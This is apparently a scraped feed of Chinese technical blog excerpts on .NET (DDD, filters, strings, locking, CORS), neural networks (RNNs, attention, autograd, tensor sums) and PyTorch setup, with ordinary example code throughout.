DDD在OOP关注技术实现的基础上，向前迈了一步，更强调业务领域的建模本身。
它提供了一套更为丰富的战术工具和战略设计模式，来指导我们构建更清晰的领域模型。
- 战术工具：精确地定义领域模型的构成元素，如实体、值对象、聚合根、领域服务、领域事件等。
- 战略设计：从宏观上规划系统的结构和边界，如限界上下文、上下文映射图，用于指导微服务拆分等架构决策。

一个关键的区别：贫血模型 vs. 充血模型

Seq2Seq 与注意力机制：从机器翻译到 Transformer 架构

Tue, 23 Jul 2024 00:00:00 +0000

你是否好奇，当AI翻译一句话时，它是怎么做到"翻译到哪个词，就重点看哪个词"的？答案就藏在一个叫做 “专属信息包 C” 的东西里。今天，我们用最通俗的语言，一步步拆解它的诞生过程。

一、先搞懂一个问题：为什么需要"专属信息包"？

假设我们要把中文 “我爱深度学习” 翻译成英文 “I love deep learning”。

在注意力机制出现之前，传统模型的做法非常粗暴：

把整句话压缩成 一个固定长度的向量 C，然后解码器拿着这同一个 C 去翻译每一个英文单词。

这就像什么呢？就像你把一本200页的小说浓缩成一句话，然后要求别人用这句话去复述每一个章节的细节——显然不可能！

翻译 “I” 的时候，需要关注"我"
翻译 “love” 的时候，需要关注"爱"
翻译 “deep” 的时候，需要关注"深度"

每个时刻需要的信息是不同的！ 所以我们需要为每个时刻量身定制一个 “专属信息包”——这就是注意力机制中动态计算的 上下文向量 $C_t$。

二、认识三位主角：Q、K、V

在计算"专属信息包"之前，我们先认识三个关键角色。用一个图书馆找书的比喻来理解：

角色	全称	比喻	含义
Q (Query)	查询	你脑子里想找的那本书的"关键词"	“我现在需要什么信息？”
K (Key)	键	图书馆每本书封面上的"标签"	“这里有什么信息？”
V (Value)	值	每本书的"实际内容"	“这个信息的实际内容是什么？”

当解码器要生成某个单词时，它会：

抛出一个"查询 Q"——我当前需要什么？
拿 Q 去和所有输入词的"标签 K"逐一比对，看谁最相关
根据相关程度，从对应的"内容 V"中提取信息

三、“专属信息包 C"的计算四部曲

好了，现在进入核心环节。我们以翻译 “我爱深度学习” 为例，假设当前解码器正在翻译第2个英文单词 “love”。

.NET Core Web API 过滤器完全指南：类型、用途与实战

Thu, 27 Jun 2024 10:00:00 +0800

在 .NET Core Web API 开发中，过滤器（Filter）是实现横切关注点解耦的核心组件。它能在请求处理的不同阶段拦截逻辑，统一处理权限验证、日志记录、异常捕获等通用需求，避免重复代码。本文将详细拆解 .NET Core Web API 内置的 5 类过滤器，分析其执行机制、核心用途，并提供可直接复用的实战示例。

一、过滤器核心概念：什么是过滤器？

过滤器是 .NET Core 提供的请求拦截机制，本质是一套 “钩子（Hook）” 系统，能嵌入请求处理生命周期的关键节点。其核心价值在于：

解耦横切关注点：将日志、权限、异常处理等通用逻辑与业务逻辑分离；
统一管控：对所有接口或指定接口批量应用通用规则；
可扩展性：支持自定义过滤器，满足复杂业务场景。

所有过滤器遵循固定的执行顺序，从请求进入到响应返回，完整流程如下：

授权过滤器 → 资源过滤器 → 模型绑定 → Action 过滤器 → 执行 Action → Action 过滤器 → 结果过滤器 → 执行结果 → 结果过滤器 → 资源过滤器 → 响应返回

若任意阶段抛出异常，将直接触发异常过滤器处理。

二、5 类内置过滤器详解：用途 + 执行时机

1. 授权过滤器（AuthorizationFilter）：请求的 “第一道关卡”

核心作用

验证请求是否有权限访问接口，是所有过滤器中执行最早的组件。若验证失败，直接终止请求并返回 401（未授权）或 403（禁止访问），不执行后续逻辑。

内置实现

[Authorize]：标记需要授权的 Action/Controller，依赖 IAuthorizationService 校验身份（配合 JWT、Cookie 等认证方案）。支持角色、策略等精细化授权，示例：

// 仅 Admin 角色可访问

[Authorize(Roles = "Admin")]

[HttpGet("admin/data")]

public IActionResult GetAdminData() => Ok("管理员数据");

[AllowAnonymous]：允许匿名访问，用于公开接口（如登录、注册），会跳过授权校验：

[AllowAnonymous]

[HttpPost("login")]

public IActionResult Login(string username, string password) => Ok("登录成功");

关键特点

仅关注 “是否允许访问”，不处理业务逻辑；

string 类型深度解析：是值类型还是引用类型？

Thu, 27 Jun 2024 10:00:00 +0800

在 .NET 开发中，string 类型是我们日常使用最频繁的类型之一。但一个常见的疑问始终困扰着不少开发者：string 到底是值类型还是引用类型？其实答案很明确 ——string 本质是引用类型，但它兼具部分值类型的特性，这种特殊性也让它成为了 .NET 类型系统中极具代表性的存在。本文将从本质定义、特殊特性到实际验证，全面解析 string 类型的本质。

一、核心结论：string 是引用类型

从 .NET 类型系统的底层设计来看，string 完全满足引用类型的所有定义，这是不可动摇的核心事实。

1. 引用类型的核心判定依据

继承关系：string 直接继承自 System.Object（引用类型的基类），而非值类型专属的 System.ValueType；
存储位置：string 对象的实际内容存储在 托管堆 中，变量仅持有指向堆内存的 “引用地址”（类似指针）；
可空性：string 变量默认支持赋值为 null（表示不指向任何堆内存对象），而值类型（如 int、DateTime）默认非空，需通过 Nullable<T>（如 int?）才能支持 null；
引用传递特性：当把一个 string 变量赋值给另一个变量时，传递的是 “引用地址”，而非字符串内容的拷贝。

2. 代码验证：引用类型的本质

// 1. 变量 a 指向堆内存中的 "hello" 对象

string a = "hello";

// 2. 变量 b 拷贝的是 a 的引用地址，而非 "hello" 内容

string b = a;

// 验证：a 和 b 指向同一个堆内存对象

Console.WriteLine(object.ReferenceEquals(a, b)); // 输出 True（引用地址相同）

Console.WriteLine(a == b); // 输出 True（字符串重载了 ==，比较内容而非引用，但此处因引用相同导致内容相同）

从结果可以看出，a 和 b 持有相同的引用地址，指向同一个堆内存对象，这是引用类型的典型特征。

RNN隐藏状态全解析：它到底是什么？传给谁？何时输出？

Wed, 29 May 2024 00:00:00 +0000

在学习循环神经网络（RNN）时，很多初学者在推导数据流时会产生一系列连环疑问：

“当前时间步输出的隐藏状态，和传给下一个时间步的信息，是同一份数据吗？”
“既然传给下一步了，那当前步的隐藏状态还留着干啥？”
“每一个时间步都需要把隐藏状态接上 Softmax 输出预测结果吗？”

这些问题直击 RNN 的核心架构。今天，我们就把传统 RNN（Vanilla RNN）掰开揉碎，从本质、去向、输出时机三个维度，彻底理清隐藏状态（Hidden State）的前世今生。

一、破除迷思：传给下一步的信息和隐藏状态是同一个东西吗？

直接给出结论：在传统 RNN 中，它们是完全相等的，就是同一份数据（同一个张量）。

传统 RNN 的核心递推公式为：
$$h_t = \tanh(W_{xh} x_t + W_{hh} h_{t-1} + b_h)$$

在这个公式中，计算出的 $h_t$ 只有一个。它既被定义为“当前时间步的隐藏状态”，又在下一个时间步 $t+1$ 的计算中，原封不动地作为 $h_{t}$（即下一步眼中的 $h_{t-1}$）传入。不存在任何额外的变换或门控机制来区分这两者。

⚠️ 重要区分：LSTM 不是这样
这种“输出 = 下一步输入”的特性仅适用于传统 RNN。在 LSTM 中，有两条状态线：细胞状态（Cell State, $c_t$）和隐藏状态（Hidden State, $h_t$）。$c_t$ 是真正的“记忆传送带”传给下一步，而 $h_t$ 是经过输出门过滤后的版本用于对外输出。所以在 LSTM 中，两者是不相等的。

二、隐藏状态的“双重使命”：它到底留着干啥？

既然“传给下一步的信息”和“隐藏状态”是同一个东西，那为什么还要专门叫它“隐藏状态”？它计算出来后到底被拿去干嘛了？

这里需要破除一个思维误区：它们不是两个东西，而是“同一个东西”的两个去向。
当 $h_t$ 被计算出来后，它面临着 “一分为二”的双重使命：

使命 1：向后传（时间维度）—— 作为“记忆”

它会被原封不动地传递给下一个时间步 $t+1$。这是 RNN 能够处理序列数据、拥有“记忆”的核心原因。

分布式系统并发控制：从单机锁到分布式锁的深度解析

Mon, 06 May 2024 00:00:00 +0000

引言

在分布式系统开发中，并发控制是一个永恒的话题。最近在代码评审时，我看到了这样一段代码：

// 复杂操作仍需 lock
public void ComplexOperation()
{
    lock (_lockObj)
    {
        if (_count > 0 && _count < 100)
        {
            _count *= 2;
            // 其他复杂业务逻辑...
        }
    }
}

这引发了一系列深入的讨论：如果锁里面执行的是用户下单操作，A用户下单过程中执行了1秒，B用户的请求会怎样？是直接失败还是等待？我们需要手动处理这种等待吗？

本文将围绕这个问题展开，深入探讨单机锁、细粒度锁、数据库事务和Redis分布式锁的优缺点及适用场景。

第一部分：单机锁的行为分析

锁的基本行为

当我们在C#中使用lock语句时，CLR会为我们管理一个等待队列：

public void PlaceOrder(Order order)
{
    lock (_lockObj)  // 所有用户下单都串行化！
    {
        // 复杂的下单逻辑，耗时1秒...
        ProcessOrder(order);
        UpdateInventory();
        // 其他业务...
    }
}

关键结论：B用户会等待A用户执行完，而不是直接失败。整个过程是自动的，不需要人工干预。

具体执行流程

A用户进入lock块，开始执行下单操作（耗时1秒）
B用户的线程到达lock语句时，发现_lockObj已被锁定
B线程会阻塞并等待，直到A线程释放锁
A用户执行完毕，释放锁
B线程获得锁，开始执行自己的下单操作

单机锁的严重问题

虽然锁机制自动处理了同步，但这种设计存在严重问题：

性能瓶颈：所有用户请求串行处理
响应时间变长：B用户需要等待A用户的1秒 + 自己的1秒 = 至少2秒
系统吞吐量下降：无法充分利用多核CPU优势

第二部分：解决方案对比

🥉 方案一：细粒度锁

private readonly Dictionary<string, object> _userLocks = new();
private readonly object _dictLock = new object();

public void PlaceOrder(string userId, Order order)
{
    object userLock;
    lock (_dictLock)
    {
        if (!_userLocks.TryGetValue(userId, out userLock))
        {
            userLock = new object();
            _userLocks[userId] = userLock;
        }
    }
    
    // 只锁同一用户的操作
    lock (userLock)
    {
        ProcessOrder(order);
        UpdateInventory();
    }
}

优点：

一文读懂 RNN：循环神经网络原理与结构解析

Thu, 04 Apr 2024 00:00:00 +0000

大家好！今天我们来聊聊深度学习中一个非常有趣且重要的概念——循环神经网络（Recurrent Neural Network，简称RNN）。

如果你之前了解过普通的神经网络（比如用来识别图片的CNN），你可能会发现它们有一个共同的弱点：记性不好。它们处理每一张图片时都是独立的，不会记得上一张图片是什么。但是，在处理语言、语音或者股票走势这种有前后顺序的数据时，“记忆”就变得至关重要了。

这就轮到RNN登场了！让我们结合这张结构图，用最通俗的语言来拆解它。

1. RNN的核心思想：时间就是生命

请看图片左侧那个绿色的方块链条。这就是RNN最直观的形态。

普通神经网络：像是一个个独立的工人，每个人只负责处理手头的任务，做完就忘，不跟下一个人交流。
RNN：像是一条流水线上的工人团队。第二个工人不仅拿到了新的原料（输入数据），还收到了第一个工人传过来的“半成品”或“笔记”（隐藏状态）。

在图中，我们可以看到三个绿色的大方块，分别标记为：

第一个时间步
第二个时间步
第三个时间步

这代表了时间的流逝。RNN不仅仅是在处理空间上的数据，它还在处理时间序列。每一个绿色方块其实代表的是同一个神经网络层（Neural Network Layer） 在不同时间点的状态。这就是为什么叫“循环”神经网络——它在时间轴上自我循环。

2. 深入内部：到底发生了什么？

让我们把目光聚焦在中间那个最详细的绿色方块（第二个时间步）上。这里展示了RNN工作的核心秘密。

两个输入，一个输出

在这个时间步里，神经网络层 A 接收了两股信息流：

本次输入数据 ($X_t$)：这是当前时刻的新信息。比如在翻译句子时，这就是当前读到的那个单词。
上次时间步的隐藏状态 ($h_{t-1}$)：这是从上一个绿色方块传过来的箭头。这代表了“过去的记忆”。

记忆的传递

注意看那个向上的箭头，指向紫色的圆圈 $h_t$。

$h_{t-1}$ 是过去的记忆。
$X_t$ 是现在的信息。
经过神经网络层 A 的处理（通常包含一个激活函数，如图中黄色的 tanh），生成了 $h_t$。

$h_t$ 既包含了现在的信息，也融合了过去的记忆。然后，它会作为“这次时间步的隐藏状态”，传递给下一个时间步（右边的绿色方块），同时也可能输出给外界（比如预测下一个词是什么）。

简单总结：RNN通过把上一步的计算结果传给下一步，从而实现了对历史信息的“记忆”。

3. 数学公式大揭秘（别怕，很简单！）

图片右上角给出了RNN核心的数学公式：

$$h_t = \tanh(W_t[X_t, h_{t-1}] + b_t)$$

看着复杂，其实拆开看就像做一道菜：

$X_t$ (本次输入数据)：这是主料。
$h_{t-1}$ (上次时间步的隐藏状态)：这是上一顿剩下的老汤，用来提味（提供上下文）。
$[X_t, h_{t-1}]$ (Concatenate)：图中的红色箭头汇聚在一起，表示把主料和老汤拼接在一起。
$W_t$ (权重矩阵)：这是厨师的调味手法，决定了我们多重视新输入，多重视旧记忆。
$b_t$ (偏置矩阵)：这是一个基础底味调整。
$\tanh$ (激活函数)：这是最后的烹饪工序（比如烘烤），把数据压缩到 -1 到 1 之间，防止数值爆炸，并引入非线性特征。
$h_t$ (本次时间步的隐藏状态)：出锅的美味佳肴，既可以直接吃（输出结果），也可以留一部分做下一顿的老汤（传给下一步）。

4. 图解符号指南

为了看懂这类专业的神经网络图，图片下方给出了一个非常实用的“图例字典”：

从JSONP到CORS：跨域解决方案的技术演进与架构思考

Mon, 12 Feb 2024 00:00:00 +0000

在Web开发领域，CORS（跨源资源共享）是每个前端开发者都会遇到的关键概念。但为什么我们如今使用CORS，而曾经流行的JSONP却逐渐退出历史舞台？本文将带您深入理解跨域解决方案从JSONP到CORS的技术演进历程。

第一部分：理解CORS - 跨域资源共享

什么是CORS？

CORS（Cross-Origin Resource Sharing，跨源资源共享）是浏览器强制执行的一种安全机制，用于解决"同源策略"带来的限制。

同源策略要求协议、域名、端口完全相同的请求才被允许。例如：

https://www.example.com → https://api.example.com ❌ 跨域
http://localhost:3000 → http://localhost:8080 ❌ 跨域

CORS的工作原理

当浏览器检测到跨域请求时，会执行以下流程：

发送预检请求：对于非简单请求，浏览器先发送OPTIONS请求
服务器响应：后端返回包含CORS头部的响应
浏览器验证：浏览器检查头部，决定是否放行
实际请求：验证通过后发送真正的请求

# 预检请求
OPTIONS /api/data HTTP/1.1
Origin: https://www.example.com
Access-Control-Request-Method: POST

# 服务器响应
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://www.example.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Content-Type

为什么配置服务端CORS就能解决问题？

关键在于：CORS的决定权在服务器，浏览器只是执行者。

当您在.NET服务端配置CORS时，有多种方式：

ASP.NET Core 全局配置：

// Program.cs
var builder = WebApplication.CreateBuilder(args);

builder.Services.AddCors(options =>
{
    options.AddPolicy("AllowSpecificOrigin",
        policy =>
        {
            policy.WithOrigins("https://www.example.com")
                  .AllowAnyMethod()
                  .AllowAnyHeader()
                  .AllowCredentials();
        });
});

var app = builder.Build();
app.UseCors("AllowSpecificOrigin");

控制器级别配置：

[ApiController]
[Route("api/[controller]")]
[EnableCors("AllowSpecificOrigin")]
public class UsersController : ControllerBase
{
    [HttpGet]
    public IActionResult GetUsers()
    {
        var users = new[] { "John", "Jane", "Bob" };
        return Ok(users);
    }
}

Action级别配置：

PyTorch GPU 配置指南：CUDA 安装与环境验证

Fri, 09 Feb 2024 00:00:00 +0000

PyTorch 作为主流的深度学习框架，在安装时严格区分了 CPU 版本与 GPU 版本。这两个版本对应不同的底层二进制分发包，并非仅通过代码参数进行区分。在实际开发与部署中，准确判断当前环境并进行相应的版本切换是保障模型训练与推理效率的基础。

一、验证当前 PyTorch 版本类型

确认已安装版本的最直接方式是通过 Python 代码进行检测。通过导入 torch 库并调用相关函数，可以获取当前的版本信息及硬件加速状态：

import torch

print("PyTorch版本:", torch.__version__)
print("CUDA是否可用:", torch.cuda.is_available())
print("CUDA版本:", torch.version.cuda)

在输出结果中，若 torch.cuda.is_available() 返回 True，且版本号包含 +cuXXX 后缀（如 2.1.0+cu118），则表明当前为 GPU 版本；若返回 False，或版本号包含 +cpu 后缀，则表明当前为纯 CPU 版本。此外，也可在终端使用 pip show torch 命令，通过查看包版本号的后缀来快速判断。

二、从 CPU 版本切换至 GPU 版本

若检测到当前为 CPU 版本且需要启用硬件加速，需执行卸载与重装操作。首先，通过 pip uninstall torch torchvision torchaudio -y 命令彻底卸载现有的 CPU 版本。

随后，需确认系统显卡驱动所支持的最高 CUDA 版本（可通过终端执行 nvidia-smi 命令查看）。根据查到的 CUDA 版本，从 PyTorch 官方源拉取对应的 GPU 版本进行安装。例如，对于支持 CUDA 12.1 及以上版本的显卡，可执行以下命令：

DDD领域驱动设计全面解析：.NET核心概念与落地实践指南

Wed, 24 Jan 2024 10:00:00 +0800

DDD领域驱动设计全面解析：.NET核心概念与落地实践指南

领域驱动设计（Domain-Driven Design，简称 DDD）是一种以业务领域为核心的现代化软件架构设计方法论，专注于解决复杂企业级业务系统的设计与开发难题。在当今微服务架构和分布式系统盛行的环境下，DDD已成为构建高内聚、低耦合系统的最佳实践。本文将深入剖析DDD核心概念，结合.NET技术栈全面讲解DDD落地实践，帮助开发者掌握企业级应用架构设计精髓。

.NET 作为成熟稳定的企业级开发平台，天然支持 DDD 领域驱动设计的核心诉求 —— 无论是分层架构、面向对象设计，还是依赖注入、领域模型映射等，都能通过 ASP.NET Core、EF Core、MediatR 等 .NET 生态工具无缝落地。本文将从 DDD 领域驱动设计的核心思想出发，结合 .NET 实战场景，系统讲解 DDD 关键概念、架构分层及落地技巧，提供完整的企业应用架构解决方案。

一、DDD领域驱动设计核心思想：业务驱动的架构哲学

DDD领域驱动设计的本质是业务驱动而非技术驱动，所有设计决策都围绕业务需求展开，在 .NET 企业应用开发中，核心遵循三大原则：

领域优先：业务逻辑（领域模型）是系统的核心资产，技术细节（数据库、API、缓存等）仅作为辅助实现；
边界清晰：通过「限界上下文」划分业务边界，解决复杂系统中的 “知识混乱”，避免不同业务模块的概念冲突；
迭代演进：通过「领域语言（Ubiquitous Language）」统一团队（开发、产品、测试）认知，领域模型随业务迭代持续优化。

二、DDD核心概念详解与.NET落地实践

DDD 的概念体系可分为「领域层核心概念」「架构分层」「辅助概念」三类，以下结合 .NET 代码示例和生态工具逐一说明。

（一）领域层核心概念：DDD业务逻辑的核心载体

领域层是 DDD 的 “心脏”，包含业务模型、规则和行为，不依赖任何外部技术框架，纯业务逻辑封装。

1. 领域模型（Domain Model）- DDD核心设计元素

领域模型是业务概念的代码映射，分为两种设计风格：

贫血模型：仅包含属性和 getter/setter，无业务逻辑（传统 MVC 常用，非 DDD 推荐）；
充血模型：包含属性 + 业务逻辑方法（DDD 核心），模型自身封装业务规则，确保数据一致性。

.NET 实战示例（充血模型）：

// 订单领域模型（充血模型）

public class Order

{

&#x20;   // 私有构造函数：强制通过工厂方法创建，保证创建时的业务规则

&#x20;   private Order(Guid orderId, Guid userId, List\<OrderItem> items)

&#x20;   {

&#x20;       Id = orderId;

&#x20;       UserId = userId;

&#x20;       Items = items;

&#x20;       Status = OrderStatus.Draft;

&#x20;       TotalAmount = CalculateTotalAmount(); // 创建时自动计算总金额

&#x20;   }

&#x20;   // 领域属性：仅暴露 getter，通过方法修改状态，避免外部随意篡改

&#x20;   public Guid Id { get; }

&#x20;   public Guid UserId { get; }

&#x20;   public List\<OrderItem> Items { get; }

&#x20;   public OrderStatus Status { get; private set; }

&#x20;   public decimal TotalAmount { get; private set; }

&#x20;   // 业务逻辑方法：订单提交（封装状态变更规则）

&#x20;   public void Submit()

&#x20;   {

&#x20;       if (Status != OrderStatus.Draft)

&#x20;           throw new InvalidOperationException("只有草稿状态的订单可提交");

&#x20;       if (Items == null || !Items.Any())

&#x20;           throw new InvalidOperationException("订单不能为空");

&#x20;      &#x20;

&#x20;       Status = OrderStatus.Submitted;

&#x20;       // 发布领域事件（后续讲解）

&#x20;       DomainEvents.Raise(new OrderSubmittedEvent(this));

&#x20;   }

&#x20;   // 业务逻辑方法：计算总金额（封装金额计算规则）

&#x20;   private decimal CalculateTotalAmount()

&#x20;   {

&#x20;       return Items.Sum(item => item.Quantity \* item.UnitPrice);

&#x20;   }

&#x20;   // 工厂方法：创建订单（封装创建规则，避免外部直接 new 导致规则遗漏）

&#x20;   public static Order Create(Guid userId, List\<OrderItem> items)

&#x20;   {

&#x20;       if (userId == Guid.Empty)

&#x20;           throw new ArgumentException("用户ID不能为空");

&#x20;       if (items == null || !items.Any())

&#x20;           throw new ArgumentException("订单商品不能为空");

&#x20;      &#x20;

&#x20;       return new Order(Guid.NewGuid(), userId, items);

&#x20;   }

}

// 订单状态（枚举值对象）

public enum OrderStatus

{

&#x20;   Draft,       // 草稿

&#x20;   Submitted,   // 已提交

&#x20;   Paid,        // 已支付

&#x20;   Shipped,     // 已发货

&#x20;   Completed    // 已完成

}

// 订单项（聚合子对象）

public class OrderItem

{

&#x20;   public Guid ProductId { get; }

&#x20;   public int Quantity { get; }

&#x20;   public decimal UnitPrice { get; }

&#x20;   public OrderItem(Guid productId, int quantity, decimal unitPrice)

&#x20;   {

&#x20;       if (quantity <= 0)

&#x20;           throw new ArgumentException("数量必须大于0");

&#x20;       if (unitPrice < 0)

&#x20;           throw new ArgumentException("单价不能为负数");

&#x20;      &#x20;

&#x20;       ProductId = productId;

&#x20;       Quantity = quantity;

&#x20;       UnitPrice = unitPrice;

&#x20;   }

}

2. 聚合（Aggregate）与聚合根（Aggregate Root）- DDD一致性边界

问题背景：复杂领域中，多个领域对象可能存在强关联（如订单 + 订单项），直接操作单个对象易破坏数据一致性；

天气查询API实现 | 后端开发最佳实践

Mon, 25 Dec 2023 10:00:00 +0800

1. 天气查询功能介绍

天气查询API在现代Web和移动应用中扮演着重要角色，它可以为用户提供实时天气数据、未来天气预报以及生活指数等关键信息。本文将详细介绍如何实现一个高效、稳定的天气查询服务，涵盖从API选择、异步编程实现到缓存优化的完整开发流程。

2. 天气API服务选择指南

在开发天气查询应用时，选择合适的API服务提供商至关重要。以下是几个主流的天气API服务对比：

和风天气API：国内数据覆盖全面，API文档完善，适合后端开发使用
OpenWeatherMap：全球天气数据服务，国际化支持好
高德地图天气API：国内覆盖较全面，适合本地化应用
百度地图天气API：与百度地图集成良好，适合地图应用场景

本文以和风天气API为例，详细讲解调用天气API的完整实现方案，包括API密钥获取、请求构建、响应解析和错误处理等关键环节。

3. 天气查询API代码实现

3.1 获取和风天气API密钥

在开始天气查询开发前，首先需要在和风天气开发者平台注册账号并获取API密钥。注册流程简单，完成后即可获得免费额度的API访问权限。

3.2 天气查询类实现

using System;
using System.Collections.Generic;
using System.Net.Http;
using System.Threading.Tasks;
using Newtonsoft.Json;

public class WeatherAPI
{
    private readonly string _apiKey;
    private readonly string _baseUrl;
    private readonly HttpClient _httpClient;

    public WeatherAPI(string apiKey)
    {
        _apiKey = apiKey;
        _baseUrl = "https://devapi.qweather.com/v7";
        _httpClient = new HttpClient();
        _httpClient.Timeout = TimeSpan.FromSeconds(10);
    }

    /// <summary>
    /// 实现获取指定位置的实时天气数据
    /// 支持城市ID或经纬度查询
    /// </summary>
    public async Task<Dictionary<string, object>> GetCurrentWeatherAsync(string location)
    {
        string url = $"{_baseUrl}/weather/now";
        var parameters = new Dictionary<string, string>
        {
            { "key", _apiKey },
            { "location", location } // 可以是城市ID或经纬度
        };

        try
        {
            using (var response = await _httpClient.GetAsync($"{url}?{BuildQueryString(parameters)}"))
            {
                response.EnsureSuccessStatusCode();
                string responseBody = await response.Content.ReadAsStringAsync();
                dynamic data = JsonConvert.DeserializeObject(responseBody);

                if (data.code == "200")
                {
                    return data.now.ToObject<Dictionary<string, object>>();
                }
                else
                {
                    Console.WriteLine($"查询失败: {data.code} - {data.msg}");
                    return null;
                }
            }
        }
        catch (Exception ex)
        {
            Console.WriteLine($"请求异常: {ex.Message}");
            return null;
        }
    }

    /// <summary>
    ///实现获取指定位置的天气预报数据
    /// 支持3天或7天预报查询
    /// </summary>
    public async Task<List<Dictionary<string, object>>> GetWeatherForecastAsync(string location, int days = 3)
    {
        string url = days <= 3 ? $"{_baseUrl}/weather/3d" : $"{_baseUrl}/weather/7d";
        var parameters = new Dictionary<string, string>
        {
            { "key", _apiKey },
            { "location", location }
        };

        try
        {
            using (var response = await _httpClient.GetAsync($"{url}?{BuildQueryString(parameters)}"))
            {
                response.EnsureSuccessStatusCode();
                string responseBody = await response.Content.ReadAsStringAsync();
                dynamic data = JsonConvert.DeserializeObject(responseBody);

                if (data.code == "200")
                {
                    var dailyList = data.daily.ToObject<List<Dictionary<string, object>>>();
                    return dailyList.GetRange(0, Math.Min(days, dailyList.Count));
                }
                else
                {
                    Console.WriteLine($"查询失败: {data.code} - {data.msg}");
                    return new List<Dictionary<string, object>>();
                }
            }
        }
        catch (Exception ex)
        {
            Console.WriteLine($"请求异常: {ex.Message}");
            return new List<Dictionary<string, object>>();
        }
    }

    /// <summary>
    ///实现获取指定位置的生活指数数据
    /// 包括穿衣、洗车、紫外线、运动、旅游指数
    /// </summary>
    public async Task<List<Dictionary<string, object>>> GetLifeIndexAsync(string location)
    {
        string url = $"{_baseUrl}/indices/1d";
        var parameters = new Dictionary<string, string>
        {
            { "key", _apiKey },
            { "location", location },
            { "type", "1,2,3,5,9" } // 包括穿衣、洗车、紫外线、运动、旅游指数
        };

        try
        {
            using (var response = await _httpClient.GetAsync($"{url}?{BuildQueryString(parameters)}"))
            {
                response.EnsureSuccessStatusCode();
                string responseBody = await response.Content.ReadAsStringAsync();
                dynamic data = JsonConvert.DeserializeObject(responseBody);

                if (data.code == "200")
                {
                    return data.daily.ToObject<List<Dictionary<string, object>>>();
                }
                else
                {
                    Console.WriteLine($"查询失败: {data.code} - {data.msg}");
                    return new List<Dictionary<string, object>>();
                }
            }
        }
        catch (Exception ex)
        {
            Console.WriteLine($"请求异常: {ex.Message}");
            return new List<Dictionary<string, object>>();
        }
    }

    /// <summary>
    /// 构建查询字符串
    /// </summary>
    private string BuildQueryString(Dictionary<string, string> parameters)
    {
        var queryParts = new List<string>();
        foreach (var param in parameters)
        {
            queryParts.Add($"{param.Key}={System.Net.WebUtility.UrlEncode(param.Value)}");
        }
        return string.Join("&", queryParts);
    }
}

3.3天气查询实例代码示例

// 使用示例
class Program
{
    static async Task Main(string[] args)
    {
        // 替换为您的API密钥
        string apiKey = "your_api_key_here";
        var weatherAPI = new WeatherAPI(apiKey);

        // 查询北京天气（使用城市ID）
        string location = "101010100"; // 北京的城市ID

        // 获取实时天气
        var currentWeather = await weatherAPI.GetCurrentWeatherAsync(location);
        if (currentWeather != null)
        {
            Console.WriteLine("实时天气:");
            Console.WriteLine($"温度: {currentWeather["temp"]}°C");
            Console.WriteLine($"天气: {currentWeather["text"]}");
            Console.WriteLine($"风向: {currentWeather["windDir"]} {currentWeather["windScale"]}级");
            Console.WriteLine($"湿度: {currentWeather["humidity"]}%");
        }

        // 获取3天预报
        var forecast = await weatherAPI.GetWeatherForecastAsync(location);
        Console.WriteLine("\n未来3天预报:");
        foreach (var day in forecast)
        {
            Console.WriteLine($"日期: {day["fxDate"]}");
            Console.WriteLine($"天气: {day["textDay"]} -> {day["textNight"]}");
            Console.WriteLine($"温度: {day["tempMin"]}°C - {day["tempMax"]}°C");
            Console.WriteLine();
        }

        // 获取生活指数
        var lifeIndices = await weatherAPI.GetLifeIndexAsync(location);
        Console.WriteLine("\n生活指数:");
        foreach (var index in lifeIndices)
        {
            Console.WriteLine($"{index["name"]}: {index["level"]} - {index["text"]}");
        }
    }
}

4. ASP.NET Core天气查询Web API服务实现

以下是使用ASP.NET Core框架构建高性能天气查询Web API服务的完整实现，支持跨平台部署和高并发访问：

结合代码，看懂PyTorch的自动微分（Autograd）

Sat, 16 Dec 2023 00:00:00 +0000

在深度学习中，PyTorch 的自动微分（Autograd）机制极大地简化了模型训练过程。在实际的训练代码中，自动微分并不是一个孤立的函数，而是通过一套标准的训练闭环来体现的。结合一段典型的 PyTorch 模型训练代码，自动微分主要体现在以下三个核心步骤：

有的说法是叫“自动梯度”更合理

1. 开启梯度追踪（构建计算图）

pred_y = model(x)
loss_value = loss(pred_y, y)

在 PyTorch 中，模型的参数（如权重 w 和偏置 b）在初始化时默认带有 requires_grad=True 属性。当代码执行前向传播 model(x) 以及计算损失 loss(pred_y, y) 时，PyTorch 的 Autograd 引擎会在后台默默记录所有的运算过程，并动态构建出一张“计算图”。

2. 触发反向传播（自动计算梯度）

loss_value.sum().backward()

这是自动微分最直接的体现。调用 .backward() 后，Autograd 引擎会从损失值（标量）出发，沿着之前构建的计算图逆向遍历，利用链式法则自动计算出每一个参与运算的参数的梯度。开发者完全不需要手动编写任何求导公式。

3. 梯度清零（防止梯度累加）

optimzer.zero_grad()

PyTorch 的自动微分机制默认会累加梯度，而不是覆盖梯度。如果不手动清零，之前批次计算出的梯度会一直叠加，导致模型参数更新混乱。因此，在每次反向传播之前，必须通过优化器将之前自动计算并累积的梯度清空。

总结
这段训练代码完美遵循了 PyTorch 自动微分的标准范式：前向传播记录计算图 -> 梯度清零 -> 反向传播自动求导 -> 优化器更新参数。理解这一过程，是掌握 PyTorch 模型训练的核心。

四维张量计算原理

Sun, 22 Oct 2023 00:00:00 +0000

四维张量 sum(dim) 计算原理

示例张量 t4，shape = (2, 2, 2, 3) → 2个组 × 2个块 × 2行 × 3列

📦 原始张量结构

第 0 组 (dim=0 索引0)

第 0 块 (dim=1 索引0)

1	2	3
4	1	2

第 1 块 (dim=1 索引1)

2	1	0
1	3	2

第 1 组 (dim=0 索引1)

第 0 块 (dim=1 索引0)

3	2	1
0	2	4

第 1 块 (dim=1 索引1)

1	4	2
2	1	3

dim=0：组维度 | dim=1：块维度 | dim=2：行维度 | dim=3：列维度

1. sum(dim=0)：沿「组维度」求和

同一个块、同行、同列，对不同组相加

第0组第0块

1	2	3
4	1	2

第1组第0块

3	2	1
0	2	4

结果里的第0块

4	4	4
4	3	6

结果第 0 块

4	4	4
4	3	6

结果第 1 块

3	5	2
3	4	5

1 + 3 = 4 不同组里「同位置」的元素对应相加

✅ 结果 shape：(2, 2, 3)（消除 dim=0，剩下块、行、列）

2. sum(dim=1)：沿「块维度」求和

每个组内部，把第0块和第1块按位置相加

第0组第0块

1	2	3
4	1	2

第0组第1块

2	1	0
1	3	2

第0组结果

3	3	3
5	4	4

第 0 组结果

3	3	3
5	4	4

第 1 组结果

4	6	3
2	3	7

1 + 2 = 3 同一组内，不同块的同位置元素相加

